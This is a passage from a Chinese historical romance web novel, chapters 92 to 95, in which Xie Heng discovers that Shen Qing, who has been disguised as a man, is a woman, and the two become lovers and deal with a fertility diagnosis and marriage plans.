娟娘知道沈青几乎不在海棠这里留宿,可她何等精明之人,既然有人肯认下这孩子保下海棠,她何乐而不为呢? 再说了,张员外跟沈青,孰轻孰重,她当然分得清。 她当即换了脸色:“都是娟娘唐突,险些伤了沈公子的亲骨肉啊。都还愣着干嘛?快给海棠姑娘松绑啊!” 沈青深吸了口气,也真怕那几个大汉没轻没重的,于是上前拂开那几人的手,自己亲自上手将海棠身上绳索束缚都解开,仿佛真是极爱重她腹中骨肉。 死里逃生的海棠惊魂未定,整个人瑟缩在沈青臂弯里,本来她就娇媚,现在更加楚楚可怜,声音里是不受控制的颤抖:“沈……沈公子……” 再说不出更多的话来。 沈青拍了拍她同样颤抖的肩背,心中蓦然轻叹一声,青楼女子命如草芥,实在残忍。 “不用担心,你和孩子我都会处理好。” 话音刚落,余光里忽然一抹雪色清影,她霍然抬眸,正对上不远处那扇被她一脚劈开两半的院门外,不知在那站了多久的谢珩,同样望过来的目光。 惊愕,失魂,落魄。 沈青的三魂七魄也被钉在原地。 须臾之间,好像是一生中最漫长的对望。 周遭空气凝滞了好一会儿,眼睁睁院门外那张清峻的面容褪得毫无血色,她张张嘴,双唇无声上下嗡动两下。 谢珩往后退了一步,有些单薄清瘦的身子仿佛要倾倒,但他又退了一步,勉强稳住身形后,目光深深看了她一眼,转身决然离去。 那一眼,就是在沈青心头上狠狠剜了一刀。 她几乎要找不到自己的声音:“娟娘,多少银钱摆平,你算好了直接去我府上领。还有,海棠给我照顾好了。” 勉强将这话一口气挤出来,她将还瘫软着的海棠交到娟娘手中,其实她自己现在也好不到哪里去,脚下如踩在软泥里,她几乎是扶着院沿墙边,踉跄着出了南风楼的大门。 街道上依旧车水马龙,人来人往,只是再也见不到那道清影。 她用力呼吸几下,试图让自己镇定下来,像是溺水之人,越垂死挣扎,越无法自拔。 想到如果此生再见不到那道身影,她还是惶恐而慌乱的。 凭着身体里最后一点本能,像是慌不择路,她一路往谢府方向走去,不停地有车马行人从她余光里掠过,她什么也看不见,听不见,只想快点再看到那抹熟悉的身影。 “谢珩!” “谢珩!” 直到迈进谢府的大门,她目之所及,终于见到前面的白衣公子,她连喊了两声,那人也没有回头,明明看他走得不疾不徐,她脚下疾步,也追得有些吃力。 “你听我说!事情根本不是那样的!海棠肚子里的孩子不是我的!” “我是为了保护她才这么说的!真的,你信我!” 她终于找回自己的声音,一边叽里咕噜解释,一边在后面急追。 可是前面那人根本不听她解释,像个木偶人一样机械地一直往前,到了东院门口,她终于拽到他的衣袖。 “谢珩,我刚刚说的都是真的!那不是我的孩子!” 谢珩目不斜视,一言不发,继续往里走,她就这样拽着他的衣袖,任由他将她带进卧房中。 “谢珩,你……” 两人刚迈进房门,身后的房门就被狠狠带上,门扇相碰的声音,震得沈青脑子耳朵都嗡嗡响。 还在嗡嗡响着,忽然毫无防备的一道力气将她扭转,天旋地转间,她身子已经横躺在床上,身上一沉,谢珩已经倾身覆了上来,牢牢将她钳制住。 “你以为,我还会信你说的任何一个字吗?” 他的额头几乎贴着她的额头,每一个字都像是凝结千年万年的冰霜,听得她骨头缝里都发凉。 她从未见过这样的谢珩,那种她时不时能在他身上感受到的压迫和侵占,在此刻到达了巅峰。 是一种要铺天盖地摧毁一切的强大气势。 没有任何杀意,却也足够将人的每一根骨头都寸寸绷断。 他轻声质问,每一个字都像淬了冰,无数根细细碎碎的冰针几乎要将她的心脏扎得千疮百孔:“岳瑛也就罢了,海棠又算什么?” 沈青几乎要被这可怕的气势震得说不出话,反反复复只能解释:“海棠腹中孩子不是我的!” “够了!” 不知道这话里那几个字触到他了,谢珩怒喝止住她的话头,玉容上青筋都若隐若现,那双满目星河的眸子里,几乎带出可怖的血色。 这会儿沈青反而清醒过来,意识到情况实在不太对,她试着运力挣扎,没想到谢珩看着混沌,却瞬间察觉到她的意图,只见他袖中迅速出动,几许白光晃然,沈青发觉自己两只手腕和两只脚踝都被束住,将她与这张床榻绑为一体。 她彻底懵了:“你……你要干嘛?” 声音里难得地露了怯。 “干什么?怎么只允许你当初这样对我,就不许我现在这样对你了吗?” 谢珩俊脸苍白,喉头微动,冷冷的浅笑里带着几分森然。 “谢珩……” 沈青愣愣地望着他,心里真的泛起一丝害怕。 眼前的人,变得如此陌生。 就是这样的眼神,让谢珩感到彻底被激怒,他不管不顾覆下身来,毫无章法的唇像雨点一点,密密麻麻落在她的眉眼、额头、脸颊、鼻尖、唇角…… 沈青挣扎:“不行!真的不行!我真的不行!” “不用你行!” 她的唇被另一张唇封住,长驱直入,撕咬纠缠,连呼吸的余地都不给她。 她喜欢和谢珩唇齿相依,但绝对不是现在这样!即便是谢珩也不可以! 她试图活动了一下手腕,慢慢找准发力点,正要用力挣脱束缚时,她忽然感受到周遭空气变得充分起来,她又能呼吸了。 唇齿间的压迫一点一点退开,身上这人气焰似乎也在渐渐消退,他声音喑哑着,无力在耳边荡开。 “我不能对你生气的。” “谢珩永远不会对沈青生气。” 他用手肘撑起自己身子,松了沈青身上的束缚,用指尖轻轻拂过她微微出了层细汗的鬓边额角,像是抚摸着世上最宝贵的名品,尤自喃喃:“沈青,可是你不该这样对我啊。” 他都已经想好了,他会好好对待岳瑛,会尊重岳瑛,只要沈青愿意 时时和他在一起。 就算她想要孩子,他们就去谢家过继一个啊。 他真的不能接受,他无时无刻最心心念念的沈青,要和别的女子有一个骨血相融的孩子。 可是就在刚刚,他决定接受了。 那是她的骨血,他没有资格干涉。 他又改口:“没关系,我接受了,你可以这样对我。” 他的声音和眼神,都彻底柔软下来。 沈青与他的身子紧紧贴在一起,感受着他说话牵动胸腔的震动,几乎是把五脏六腑都扯得肝肠寸断。 她也跟着心碎了。 想到下午才承诺了谢夫人,她永远不会伤害谢珩。 可是谢珩她面前都支离破碎了。 “谢珩,你不要难过啊,你相信我,都是没有的事。” 谢珩一张俊容还灰败着,像是没有听见她说话,亦是不想听见她继续解释。 她只好支起一点身子,侧过头,轻轻点上他的唇角,双手不觉间揽上他的脖颈,点一下,分开,点一下,又分开。 眼前的人终于好像恢复了一点点活气,重新覆下身来,将她轻轻抵在枕上,尽是抵死温柔的缠绵。 两个久渴之人,忘我地纠缠。 情至深处,沈青唇畔溢出一声“嗯咛”,似嗔非嗔,似吟非吟,引得谢珩顿时眸底一沉,情愫翻涌间,他颤手解开她的衣襟。 她撇过头,安静默许着一切的发生。 他的掌心像是带了一团火,寸寸划过游走,直到某一处,他顿住手上的动作。 他探了一下,又探了一下。 沈青紧闭着双眼,死死咬着双唇,羞得满面通红,脸上也像是带了一团火。 她感觉到有一双眼睛在盯着她,可是她不敢睁眼。 微烫的指尖颤抖着,开始在她的下巴处摩挲许久,撕拉一声,她的青青胡茬被撕掉,然后是喉头,这次很快,她的喉结也被撕了下来。 空气彻底凝滞。 她终于小心翼翼睁开双眼,可是她还没来得及看谢珩那双清眸里翻涌出怎样的情绪,身上的人已经无力伏倒,埋进她的肩窝。 沈青茫然地睁着双眼,几乎能感受到周身血脉静静流淌于自己的身体里。 他是这个反应吗? 所以他失望了吗? 忽然,她的肩窝有温热一滴落下,又一滴,点点滴滴,流淌在她肌肤上。 他……在哭吗? 她脑中完全空白,然后听见他的声音。 “沈青,你骗得我好苦。” 好委屈。 也好愤恨。 从胸腔深处而出。 她眼睛眨了眨,也有点想哭。 肩头一片湿热,不知淌了多久,两人也不知无声拥了多久,久到沈青都快睡着了,身上的重量突然一轻。 “抱歉,是我冒犯了。” 谢珩撑起身子准备要离开,低垂的眉眼完全掩盖住其中情绪。 诶呀,煮熟的鸭子要飞走了! 沈青猛地一激灵,一把抓住身前的人,像一株藤蔓一样,缠着他的脖颈和腰腹。 “沈青,你……” 谢珩眼中难掩惊异,不过他刚说出来的话,已经被她堵了回去。 她勾着他,紧闭双眸全心全意地攻城略地,他一双清眸低垂,映入近在咫尺那张清绝的脸。 直到澄澈清明的眸底,再次被汹涌情欲席卷。 他反手勾住她的后颈。 玉枕塌陷。 第93章 第93章姑娘,还请摒除杂念 沈青再次有些力气睁开眼的时候,发觉入眼所见不是屋顶下的那根横梁,而是轻烟珍珠色的床幔,银钩弯弯,流苏簌簌。 她想起昨夜于这枕间,抬眼闭眼间,都是这流苏床幔时而轻时而重的晃动。 她慢腾腾撑着脑袋坐起身来,发现身上已经换了一件崭新的雪绸中衣,原先穿那件,昨晚被撕扯揉烂得简直不能看,环顾四周,还好已经不见了。 身上也被人擦拭清洗过,反正最后的最后,她真的连眼睛都没力气睁开。 因为起身的动作,牵扯到肩头一阵刺痛,她“嘶”了一声,半撩下衣裳去看,肩头雪肤之上,赫然印着一道清晰分明的牙印,因为咬得很重,牙印深得发红隐隐渗出血迹,一夜过去,周围一圈则青肿了起来。 这样青红交印的伤口,在肩头白皙细腻的肌肤上,看得都有几分触目惊心。 这谢珩,这次可真是发狠了,一口咬下来毫不留情。 那些更触目惊心的画面纷纷重现于脑海。 极致灭顶的沉浮里,她受不住,逃不掉,简直觉得自己要疯了。 不过,谢珩应该也好不到哪去。 深深浅浅不断的眼神交汇里,那双盛满星河的眸子,深不见底,暗潮翻涌,君子清矜,坠成欲魔。 被他死死抵到烟花粲然盛放时,他看准时机,低头狠咬一口,几乎要把认识她以来这些日子,所有的委屈和愤懑都统统发泄报复出来,当她以为报复终于结束,新一波的潮水再次将她吞没。 不就是骗了他吗? 至于吗? 不过……好像这个骗确实也不能归于一般的骗? 先骗他是男人,然后等他变成断袖后,又告诉他,其实她是女人。 这么听起来,好像是个人都会疯? 她仔仔细细回忆起谢珩昨晚所有的情绪,震惊、愤恨、委屈、痛苦、泄愤、欲望……好像唯独没有高兴? 没有见到过他流露出哪怕一丝的笑意。 所以他变成断袖后,再无法接受自己喜欢女人了?不然为啥一大早他人都不见了!? ……行吧,反正她也不亏。 她决定先起身,如果真的确定他不想勉强,她好赶紧回沈府。 不过刚给自己套了件外衣,就听见门外有脚步,她忙裹在被窝里坐直了身子,看着从外面推门进来的人。 依然是长身玉立,眉眼清疏的君子模样,沈青目光清清凌凌,与他对视一瞬,他眸中温润深沉,果然没有在期间找到一点欢欣。 但她还是要挺起腰板先发制人:“反正当初你也骗了我,我也骗了你,咱们就算扯平。但是你骗我,害我失去了整个山寨呢,而我虽骗了你,你也没吃亏啊,能跟我这样的绝色美人春风一度,怎么说还是你赚大了!” “我没有吃亏。” 谢珩出声肯定,因为她这番过于直白的话,肉眼可见的,一点绯色从脖颈一直透到耳根。 她很不解:“那你还委屈什么?” “我……” 谢珩想要解释,又无从解释起,他思绪从未有过这样的紊乱,到现在也不甚明朗。 从小金顶到今日,种种经历和境遇,说他心中没有委屈,那必然是假的。 愤恨……也是有的,只是这愤恨,不在沈青身上,他更多的还是恨自己竟然失察至此。 无人知晓,昨夜他望着枕在自己臂弯中的睡颜,有多不敢合眼,他怕一合眼,再醒来,原来只是一场梦。 还来不及细细整理自己纷乱心绪,有太多事情等着他着手去做,首先最紧要的一件,就是她的身子。 他低头轻咳了一声:“沈青,我带郎中来给你诊脉。” “啊?” 正理直气壮的沈青懵了一下,透过他微红的耳尖,门后果然还有其他人在。 她气势顿时弱了几分:“为什么要诊脉?” 没听过圆房后要诊脉的啊? 谢珩这才领了郎中上前:“平时送去给岳瑛的那些药,其实都是给你喝的吧?” 这时候他真是万分庆幸,幸而他从未生过半点要苛待岳瑛之心,都是将府库里珍藏的最好药材奉上,原来终究是用在了沈青身上。 沈青见他已经猜到,也无法再狡辩什么,眼前这位郎中一副仙风道骨的样子,看起来就很像世外高人。 可是她的身体……她下意识裹了裹身上的锦被。 只是一个微不可察的小动作,落在谢珩眼中,也像一颗小火花,蓦地在他心中灼了一下。 原先只觉得她桀骜难驯,如今再从头细细看,处处是她游走于万丈深渊边的艰难谨慎。 为了不暴露自己女儿身,这么些年,多少生死之间的伤病,她都只敢让一个江湖老郎中近身。 他温声安抚:“放心,我的人绝对嘴严。” 沈青那双灵动清澈的眼睛乌溜溜转了转,终于从被窝里伸出一只手,手腕向上,给那郎中把脉。 如果谢府的郎中都看不好她的身子,那以后她就不用徒劳了。 原以为这种神医圣手,把脉就是轻点两下,然后药到病除。 在时间的静静流逝中,她发誓,这绝对是她人生中被号过最久的一次脉了,因为没有其他参考,她也说不清到底是小金顶上老郎中医术太差还是眼前这位医术太高妙。 屏气敛声的沉默氛 围里,人的思绪就忍不住飞来飞去,尤其是,现在谢珩就站在床榻边,他的衣裳就轻轻贴在她裹着的被子上。 她能感受到他清浅平静的呼吸,与昨夜枕间打在她耳畔灼热而有些粗沉的声音全然不同。 他腰间系的是一根薄锦织就的腰带,衬以玉饰点缀,实在是君子清雅,萧萧肃肃。 她也真是不懂,为何这样的玉树仙姿,甚至还几分清瘦飘逸,那里为何竟然会……简直可要把她给撑死了! “姑娘,还请摒除杂念。” 郎中不轻不重的一声提醒,吓得她赶紧收回思绪,专心感受着郎中摁在自己脉搏上的力度,天啊,这郎中号脉,难道还能号出她脑子里头在想什么? 那她真信了这是神医! 一想到刚才自己脑海里在想什么,她赶紧闭上眼睛,微微轻颤的长睫下,颊边一片绯红。 许久,那摁在她腕子上的力道终于撤去。 还不等郎中开口,谢珩先出声询问:“她怎么样?” 那郎中捻了捻胡子,也不急着写药方:“沈姑娘的身子确实比一般人要寒凉许多,本来她这副身子不是生来体格强壮,又常年生活在阴寒潮湿之地,加上一些生活习性上的不注意,造成身子越来越寒凉。” “近年来应该受过一次大伤,伤了本元,导致现在这身子更加虚寒,不过幸好在慢慢温补回来,不至于到无力回天的地步。” 谢珩在一旁垂眸听着,将沈青单薄的身影收于眸中。 渝州地毗西南,阴寒潮湿,莽山在崇山峻岭间,又比渝州境内不知阴寒潮湿几许,她自小就生活在莽山之中,如此多年。 何况她又混迹在男子之中,为了不露出破绽,她饮烈酒,下冰涧,也无人教习她身为女子,该如何爱惜身子,恐怕还是要在岳瑛上了小金顶后,她才略微有了些许收敛。 他也没有想过,从前种种寻常,竟然无形中这样消耗她的身子。 “那行房之事,可对她身子有损?” 话音刚落,他感受到两道目光齐刷刷落在他脸上,一道目光示意他不必如此直白,一道目光则是诧异中带了点无措。 意识到这话问出来造成的误解,他急忙解释:“我不是那个意思……” 他完全没有去想会不会影响以后行房之事怎么样,只是一下想到了昨晚,她偶尔会紧蹙的眉头,也喊了几声疼,告了几句饶,唇畔溢出来细细碎碎的嗔吟,却引来了他彻底的失控…… 郎中的话让他后怕于昨晚近乎疯狂的浮浮沉沉,他没有过这样的经历,连书籍画册都未看过,一切全凭本能,难道那些本能不是欢愉,而是会给对方带来伤害吗? 第94章 第94章她不是传宗接代的工具…… 在两道目光的紧盯下,谢珩一张玉容微红,再次艰难启唇:“我是说已经发生过的……” 一道目光迅速收回,另一道目光顿时了然。 “这个公子倒不必担心,只是个人体质的问题,对正常的夫妻行礼不会有影响,不过要注意不可频繁纵欲即可。” 郎中的语气稀松平静,仿佛就是在跟两人嘱咐类似用膳不要太过辛辣这样的话一般,就是听得两人一人一张各自微红的脸。 沈青第一次觉得,原来看郎中是件这样令人难为情的事? 再说了,谁跟他是夫妻啊!? 不过她现在也顾不上别的,只追着郎中问:“那我这身子,还能怀上孩子吗?” 这一次,郎中没有回答得这么痛快了,他又捻须沉思了一会,才道:“母亲的身体要孕育一个孩子出来,就相当于土壤里的种子要生根发芽,如果这片土壤太寒凉或者贫瘠,种子是无法在此生长的。” “沈姑娘的身体本来就寒凉,孕育子嗣就是要比一般人艰难,不过最大的问题还是你那次伤了本元的大伤,至少我从你现在的脉向来看,此时你的身体要孕育出子嗣,绝无可能。” 最后四个字像一记响锤,在她心头敲得砰砰响。 “好吧。” 倒也没有多大失望,其实她一直就不敢抱多大期望。 谢珩担忧:“沈青……” 沈青摇了摇头,没有看他,也没有应他。 这对年轻眷侣的小动作落在郎中眼中,实在觉得令人赏心悦目,于是捻须而笑:“当然了,现在是孕育不了子嗣,但是在我的妙手回春之下,以后就不好说了。” 沈青眼中一层濛濛伤感顿时褪去:“不是……你怎么不一次性把话说完呢?” 看起来这么仙风道骨的神医,还喜欢逗人取乐的? 郎中继续嘿嘿笑:“惊喜总是在不经意间的嘛。” 谢珩也微松了口气,不过他想起来另一个问题:“那即便将来可以孕育子嗣,对她的身体不会有损害吗?” 郎中意味深长地看了一眼他:“天下所有的母体,孕育子嗣,都是一件苦事,这是没有办法的事情。” 谢珩脱口想说些什么,目光落在沈青身上,能隐隐感觉到,自始至终,她对孩子是有很大渴望的,他无法去干涉这种渴望。 于是转了个话头:“那不确定她身子彻底养好前,是不是应该避免?” 按常人思维,总是将身子养到最好,那伤害才会最小吧? 郎中却摇摇头:“一切顺其自然,身子变得温厚扎实是一个不断变化的过程,种子会在这个过程中,某一天突然就生长发芽了。” “我刚刚不是说了嘛,惊喜,总是在不经意间的嘛。” 话都说清楚了,然后交待了一些需要注意的事宜,郎中将卧房重新留给两人,自己先出去开药方删选药材了。 想到刚才一直在跟郎中讨论的问题,空气里弥漫着诡异的沉默,毕竟……至少在昨天以前,他们还是以两个大男人的身份在相处。 一晚上过去,就这样开始讨论起生孩子的问题了? 未免太奇怪了吧? 沈青正盯着裹在身上的锦被努力研究上面的绣线花纹,忽然一道黑影覆上,谢珩已经拂衣在榻上坐下。 “沈青,你落水那次,归根结底是因为我,原来是我……” 关于落水前后的所有记忆,再次在谢珩脑海中翻涌出来。 他终于对上了所有的细节,为什么在她卧床一段时间后,忽然的低落,忽然对“谢珩”的喊打喊杀,不共戴天。 他当时还不解,是不是岳瑛才从中作祟,现在看来,大概是那天她得知自己受的这伤会让她再也无法孕育子嗣。 “可是,到现在……你竟然不怪我了吗?” 他声音很小心,但是笃定不管她怎么回应,他都会承担。 沈青不轻不重瞥了他一眼:“你都已经被我碰过了,难道这辈子还打算被别的女子碰吗?” “自然不会。” “那不就行了,我如果不能生孩子,那你也没有孩子,我们都断子绝孙了,某种程度来说,也算扯平?” 谢珩的清眸中,带上自嘲的笑意。 这就是他给自己作的孽,但他不想这样的孽留在她身上。 他伸手将她的手握在掌心:“你放心,无论是寻遍天下名医妙手,还是世间难得的珍贵药材,我都会让你如愿以偿。” 被他温润掌心包裹的触觉,酥酥绵绵的,沈青一下就回到了昨夜锦被中,情到深处,两人不休不止的十指交握。 她指尖不自觉蜷了蜷,却被对方握得更紧。 她实在受不了他那双清眸里盛满沉痛的样子,实在令人有些喘不过气来,她不喜欢两人相处间,无形中带上一些愧疚或者负罪的枷锁。 沈青就是沈青,她能接受别人因为喜欢爱慕而对她好,但绝不要是因为要补偿她,才对她好。 “诶,实话跟你说了吧,说出来我自己都有点不信,那时候受伤,得知自己子嗣艰难,当时是难过了一下,可是难过之余,我心里竟然松了口气,心想等黄泉之下见了列祖列宗,那可不能怪我了。” 这是爹爹的临终叮嘱,绵延子嗣,传宗接代,这样任务实在太重大,她必须慎重而无差错地执行,才不算辜负父亲的遗志。 至少在很长一段时间里,她都把这项任务放在仅次于辅佐萧瑞的位置。 当她因自己可能无法孕育子嗣而松了口气时,她也被吓了一跳。 谢珩被她说得疑惑:“那……难道你不想要孩子吗?” 从她暗中喝药的种种举动来看,她应该还是渴望有孩子的。 “谢珩,我现在想明白了,之前想要孩子,是因为爹爹的遗愿,可我不是一个传宗接代或者实现他人遗愿的工具,即便他是我最敬爱最想念的爹爹。” “我现在大概也是想要一个孩子的,就像我小时候那样,一家人和睦地在一起,我会把所有最好的疼爱都给他,让他无忧无虑快乐地长大。嗯……如果孩子的父亲,正好也是我想要的那个男人,正好想要跟他有骨血融合的结果,那便算是锦上添花。” 谢珩喉头发涩,不知是因为紧张还是别的:“那我……是你想要的那个人吗?” 沈青没有犹豫,笑着点头回应了他。 下一瞬间,她就连人带着锦被,被裹进一个温柔宽厚的怀抱中。 她下巴轻轻搁在他的肩头,即便中间隔了一层厚厚锦被,她也能感受到对方的心跳呼吸,与她的心跳呼吸交织在一起。 原来有过最密切的肌肤相亲,是这样的感受,她好像更喜欢他的气息,他的温度,他的触碰,关于他的一切一切。 这感觉真是好。 两人安安静静相拥腻歪了会儿,因为说到孩子,沈青才想起来:“对了,南风楼我今天还得去一趟,海棠那事我还没解决呢。” “你今天还想去南风楼?” 裹着她的温厚怀抱突然一紧,她简直要被勒晕:“我昨天说了那孩子不是我的,你又不信,你总不至于现在还不信吧?我可没那本事。” 谢珩叹了口气:“南风楼那边我已经办妥,海棠我已经替她赎身了,给她的银钱也足厚她安顿半生,你放心吧。” 沈青不由得欣慰:“太好了!那我改天要去看看她。” 天下苦命女子实在太多,她不能对每一个施以援手,只能说,跟海棠也算是冥冥中注定的一段缘分吧。 “你不许去看。” 谢珩一张俊脸突然黑了下来,虽然他已经知道真相,可是昨日种种冲击实在太大,不代表昨天那些伤害是不存在的。 昨日在南风楼看到的一切,现在想起,他心脏居然还会猛然抽痛一下。 沈青不解:“为什么啊?我可不是断袖。” 他垂眸望着她那双清澈干净得没有一丝杂质的眸子,自觉无权干涉她,只好放软了声音:“那你过些时日再去看她。” 他还是觉得,自己需要缓一缓,再缓一缓。 沈青倒是毫无芥蒂:“那好吧。” 这事儿过去了,谢珩才道:“好了,我要做点儿事情。” “什么事?” 一问一答间,沈青眼睁睁看着他抬手将裹在她身上的被窝褪下,这还不止,他居然还伸手搭上她的肩头,将她中衣也慢慢褪下,露出半个肩头。 她眼睛发直,呼吸可见地急促起来:“我……我现在没力气了。” 虽然感觉是很好的,但她现在可真没力气再跟他来上那么一次或者……几次了。 男人开了荤后都这么可怕吗?昨晚……不是一直到今早至少四更天才彻底结束的吗?又来? 谢珩不明所以地望了她一眼:“我给你上药。” 沈青眨眨眼,看了看他目中一片清明洁净,看了看他手中瓷瓶是郎中刚才离去时留下的,最后又低头看了看自己肩头那道牙印。 她羞愧地闭上了眼睛。 不该妄生邪念,罪过啊。 她紧闭着双眼,肩头那道牙印处丝丝痒痒的触觉来来回回,她一双手不知不觉攥紧身下的被褥,白皙的面容早就透上红霞。 在她闭目不见的咫尺之间,谢珩指尖摩挲着那道触目惊心的牙印,不知何时也红了面容。 “可以了。” 许久之后,终于听见耳边重新响起那道清润的声音,沈青如得大赦,微松了口气,终于睁开眼睛,将自己身上的衣服拢好。 好不容易将昨晚这道牙印产生的画面从脑海里挥去,她没有去计较谢珩的失控,轻声警告了一句:“下次不许了。” 一开口,她吓得忙抿住嘴唇,糟糕,声音莫名哑了,他应该没听出来吧? “好。” 谢珩眉目平静,只说了一个字,清润的嗓音竟然也附上一层喑哑。 两人都抿唇不再言语。 不过沈青总算放下心来,两人经历过昨晚后,他第一之间找郎中给她诊脉,还给她上药,温情款款,与之前无异。 那说明,他应该是能接受她是女子了? 再说,昨晚他们都那样了……那他应该不算被掰弯吧?又被她掰回来了? 刚觉得松了一口气,就听见谢珩的声音再次恢复得清清正正:“我会派两个靠得住的丫鬟从此照顾你的贴身起居,毕竟男女有别,即日起,我先搬到院中侧房去睡。” 她不拘礼法,但他不能知礼而不守礼,白白占人便宜。 沈青抬眸,望着他眸中一派清风朗月的雅正,脑中轰然一片迷茫。 这怎么回事? 没直? 第95章 第95章我不想嫁给谢珩 谢珩果然在当夜便搬离至偏房。 夜里,沈青独自躺在原本属于谢珩的床榻上,睁眼望着安静低垂的床幔和流苏,想到昨夜它们还在眼中时快时缓的晃动仿佛都是错觉。 现在这算个什么事呢? 好像是她攻占了某个山头,然后把原主赶走,自己占山为王了一般。 反正哪哪都不对。 接下来连着好几日,沈青都悉心观察着,谢珩每天依旧早出晚归忙碌着,可是待她衣食起居,无一处不比之前更加细致妥帖。 房中添了两个小丫鬟照料着,她不习惯有人近身,那两个小丫鬟便极有分寸恰到好处。 每日用膳,厨房不仅会按照她的口味变着花样做各种新鲜吃食,还会依照郎中诊脉情况,添置一些用于滋补的药膳。 即便是喝药,见她每次一大碗药汁喝下都要蹙眉许久,不久后她要喝的药汁就混着花蜜,捏制成了一颗颗小药丸,就着清水喝下,可免于苦涩。 谢珩照常是一日三餐陪她用膳,她乐时陪她开怀,她闷时与她解忧,情意款款,与这天下最殷切深情的情郎没有区别。 只是殷勤之中,总保持着恰到好处的分寸。 比如,谢珩连卧房的门,都再也没有迈入过。 两人近来用膳都是在院中的小饭厅,每次用过晚膳,天色通常都黑下来,冬夜寒凉,两人就在院中廊下架一只小火炉,各披了氅衣聊会儿天,谢珩就送她回房间,他只立在门前阶下,看着她一步步上了台阶,回身缓缓将门彻底合上,玉面容姿和温柔的注视被隔绝于门外。 沈青很确定,谢珩心中一定是无比珍爱她的,可是她还是不明白,为什么两个人都已经圆过房了,反而要分房睡呢? 难道他从彻底爱上男人,再到彻底爱上女人,中间几许扭转,还需要时间适应? 看来她还得再观察观察,如果实在直不回来,也得让神医给他开些药方才好。 她可不想每晚孤枕难眠! 而谢珩这边,完全没有察觉到她这些千回百转的心思。 朝堂风波渐渐平息,谢初原的案子暂时被架在那里变成一桩悬案,而谢道清被架空,兰台成立,谢珩这个兰台令才是真正的一人之下万人 之上。 他腾出手来,正在做一件目前来说,最重要的事情。 沈青竟然是一个姑娘。 所以一切都不一样了。 他必须要尽快媒聘备齐,三媒六聘,三书六礼,一样都不能少,他要十里红妆,八抬大轿,用最盛大最庄重的仪式,将她迎娶进门。 这几日,他领了谢家最好的工匠去了万德斋,让谢家工匠和万德斋联手定制一顶新娘子成婚时戴的凤冠。这凤冠的款式、材料、设计种种,几乎都是他自己亲力亲为。仅仅是打造这顶凤冠的选材用料,天南地北寻来,只要也要好几个月,再等工匠细细雕琢打造出来,又要费上不少时日。 随后,他又令谢家最好的绣娘,与洛京中声名最盛的绣衣阁联手,绣制一套天下独一无二的嫁衣来,嫁衣的款式材料设计种种,亦大多由他来亲力亲为。绣衣的丝绸是由江南西湖边云雾缭绕中的玉桑养就的天蚕出丝,还要等来年三月新蚕养出。 还有聘礼的置办,迎娶正妻的礼节,是十二箱聘礼,谢珩觉得十二箱聘礼都放上金银珠宝瓷器玉饰,总太千篇一律。 他要置办的十二箱聘礼,必须每一件都是天下难寻价值连城的珍宝,才能略配得上沈青。 这些都还需要时日。 不过沈青是女子这个秘密,暂时也还不能公之于众,不管怎么说,她现在是朝廷三品大员,又与萧瑞在朝中牵扯甚密,何况渝州那边还有两万将士需要她稳定军心。 她的身份也还需要一个合适的时机来揭露。 所以他还有时间来准备这场婚事。 至于媒聘,谢家长辈都已经被他得罪光了,王家急流勇退,在这场风波中看的局势最清,退场最早,或许几位舅舅能够出面替他提亲说媒。 实在不行,那就让陛下出面做这个媒人。 只是沈家那边没有双亲高堂,他需要对沈青更加拿出十二分的诚意,才能让她感受到自己的一颗真心。 等这些都准备全备,到时候朝堂也完全稳定,她也不必再以男子身份示人,而是名正言顺的,他谢珩的妻子。 每念及此,他只觉得过去所有的艰难辛酸,再来多少遍,他都甘愿承受。 只有鸣山,每每看到自家公子唇畔那一抹时时勾勒的笑意,他都觉得一切都已经疯魔到无力回天。比如现在,他们刚从万德斋出来,公子只是将凤冠的最后样式确定了下来,他回谢府这一路上,微扬的嘴角就没有压下来过。 尤其现在进了东院,也不知公子又想到了什么,清浅的眉眼间,恐怕连他自己都察觉不到,是怎样地笑意盎然。 鸣山觉得现在的自己也很凌乱。 最开始,他觉得公子买了两套价值连城的头面摆在房间,就足够冲击到他。 后来,公子在祠堂当着所有长辈和列祖列宗的面承认自己断袖,挨了重刑,也就罢了。 再然后,他将那悍匪头子接到府上,两人公然骈居起来,那也……也不是不行。 反正都这样了,还能到什么地步呢? 即便宫中,陛下有盛宠的少年,最多给个朝中虚职,也不会有后宫名分。 但是现在公子是要干嘛?像是要明媒正娶啊! 如果公子真的三媒六聘三书六礼将沈公子“娶”进门……一想到这样惊世骇俗冒天下之大不韪的举动,鸣山不敢多想下去,在自己鼻下的位置,用力掐了掐人中,以免自己猝然倒地。 “对了,那凤冠上流金和东珠,位置搭配还不够相宜,我方才想好要怎么配了,你去跟掌柜说一声,等我明日下朝再去一趟。” 谢珩迈步走向卧房时忽然停顿一下,回头叮嘱了一声。 本来还一脸生无可恋的鸣山顿时神色整肃:“是,我晚些时候派人去知会一声。” 谢珩点点头,重新轻步迈上冬日清阳铺洒的台阶。 往常这样好的天气,沈青应该裹着氅衣抱着暖炉在窝在藤椅里晃来晃去晒太阳才是,廊下藤椅未动,胡乱扔了件氅衣在上头,人却是不见了踪影。 回房中休息去了吗? 难道身子不适? 怕扰她歇息,他脚下更加轻缓,刚走到门口,抬手还没来得及推门,就听见里面熟悉的一道声音传出。 “哎呀,可是我不想嫁给谢珩。” 清清脆脆的字句传到门外,谢珩抬手推门的指尖顿住,微蜷进袖中,唇畔勾勒起若有若无的笑意霎时凝结。 里面岳瑛的声音似乎比他还要焦急:“可是你不是都已经跟珩公子……圆房了吗?” 说到最后几个字,她不免羞怯地放低了声音。 卧房中地龙暖融,沈青只穿了一件单衣,脚上也只松松垮垮套了双足衣,人就盘腿靠坐在地面厚厚绒毯上,很是惬意模样。 被岳瑛这么一问,她略心虚地扶了扶额头:“把他掳到小金顶那一天,我就想跟他睡觉来着,不过没成功而已。反正那天他先主动的,那我也不能白白浪费了机会吧?” “对啊,我的意思是,你们已经圆了房,就该结为夫妻才是。” 岳瑛没好意思说,应该是先结为夫妻再圆房,顺序倒一下,最后结果都是结为夫妻……那也行吧。 可是沈青不理解:“那不结为夫妻就不能圆房吗?我觉得只要是想圆房,像现在这样,不也是可以随时圆房的吗?” 不过她也不好意思说,谢珩跟她有过那一晚的温存后,连卧房都不进了,更别说圆房的事了。但这事关谢珩的尊严,她还是不要随便宣扬了。 岳瑛轻叹了一口气:“你可能不太清楚,这世间有礼法纲常,男女之事,聘则为妻奔为妾,你和珩公子这样骈居在一起,你是女子,将来终究于你的名声更为不利。阿青,人的情意善变,趁珩公子如今对你有情,你该多为自己打算才是。” 